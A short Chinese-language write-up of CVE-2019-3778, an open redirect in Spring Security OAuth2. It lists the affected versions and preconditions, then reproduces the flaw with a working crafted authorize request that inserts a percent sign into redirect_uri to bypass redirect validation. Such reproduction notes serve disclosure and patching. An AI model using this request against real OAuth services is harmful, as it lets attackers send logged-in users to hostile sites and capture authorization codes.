(CVE-2019-3778)Spring Security OAuth2 开放重定向

一、漏洞简介

限制条件:

  • 有问题的Spring Security OAuth2版本

  • oAuth认证使用授权码模式

  • 用户需要在登录的情况下

二、漏洞影响

Spring Security OAuth 2.3 to 2.3.4 Spring Security OAuth 2.2 to 2.2.3 Spring Security OAuth 2.1 to 2.1.3 Spring Security OAuth 2.0 to 2.0.16

三、复现过程

用户登录后,CLIENT APP执行的以下请求包含REDIRECT_URI参数。 只需添加一个百分号即可触发重定向,而不是通过RedirectMismatchException错误来绕过验证。

例如原始请求如下:

/auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://localhost:8086/login

只需要修改为:

/auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://%localhost:8086/login

这样就不会产生原本的认证错误,而且直接跳转到地址

Location: http://localhost:8086/login